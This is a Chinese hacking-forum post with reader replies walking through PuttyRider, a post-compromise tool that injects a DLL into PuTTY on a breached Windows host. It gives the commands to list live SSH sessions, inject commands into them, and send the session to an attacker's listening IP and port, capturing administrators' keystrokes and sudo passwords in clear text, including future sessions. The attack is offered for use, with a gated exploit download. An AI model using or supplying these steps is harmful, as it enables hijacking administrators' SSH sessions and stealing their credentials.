PuttyRider
我们在入侵到一台主机的时候，经常会看到管理员的桌面会放着putty.exe，这说明有很大的可能性管理员是使用putty远程管理主机的。该工具主要是针对SSH客户端putty的利用，采用DLL注入的方式，来实现各种猥琐的利用姿势。我依次演示该工具的三种利用场景1.当你远程控制对方主机的时候，管理员正好用putty连接着远程主机
这种情景，我们只要直接注入命令到当前的putty进程，就可以利用，非常简单，缺点是没有回显。
http://p8.qhimg.com/t0169002e8946be5fa4.jpg
使用puttyRider.exe –l 查看当前进程中putty正在连接的远程主机信息，这里不光能得到远程主机的IP地址和putty进程号，还能在Injected列看到当前是NO，说明我们还没有进程注入。
http://p9.qhimg.com/t010c36be806a5cd523.jpg
我们使用puttyrider.exe –p 0 –f –c ifconfig,就把ifconfig命令注入到当前的putty会话了，就达到远程命令执行的目的了。再次puttyRider.exe –l 看一下，发现injected列是yes了，说明我们注入进程成功了
http://p0.qhimg.com/t01aceda1d3c1d6d0b4.jpg
2.使用反弹的方式实时看管理员的输入
除了利用第一种方法直接注入命令，我们还可以反弹出来，实时看到对方管理员在putty里的输入，即使管理输入sudo这种命令，我们也能够看到他输入的明文密码。但是这种利用的前提是，对方管理员正在用PUTTY连接的主机可以反弹到你监听的IP地址，防火墙限制的不是很严。
http://p7.qhimg.com/t01bc88d1e12dd9ec6a.jpg
Puttyrider.exe –p 0 –r 我监听的IP：端口
执行后，我们就可以看到结果了
http://p8.qhimg.com/t01ca3ef531022cd769.jpg
3.我运气不这么好，对方管理员当前没有正在使用PUTTY管理远程主机
这种情况应该最常见了，软件作者也考虑到了，给我们提供了-w参数，他会让puttyrider后台监视新起来的进程，然后反弹到我们的主机，也能实时的看到对方的操作哦，包括输入的账号
http://p0.qhimg.com/t01f9f87c61a14932ee.jpg
Puttyrider.exe –w –r 我监听的IP：端口号
当执行完这个命令后，只要管理员下次再次开启PUTTY的时候，我们就能在监听的9999端口看到她的SHELL了
http://p0.qhimg.com/t017f16d0d851ca333d.jpg
已亲自复现 操作视频及exp下载地址：
**** Hidden Message ***** 感谢分享 支持一下 好帖！ 强大，新思路。还有操作视频，大赞。 我去，还有视屏，火火录制的？？ 卧槽linux这么快用的这么溜了 契约 发表于 2014-12-11 13:18
我去，还有视屏，火火录制的？？
嗯 自己录制的 不错 给还有视屏 下了 看楼上说的应该还不错啊 感谢分享 虽然不是很懂LINUX但是还是要看一下
页:
[1]
2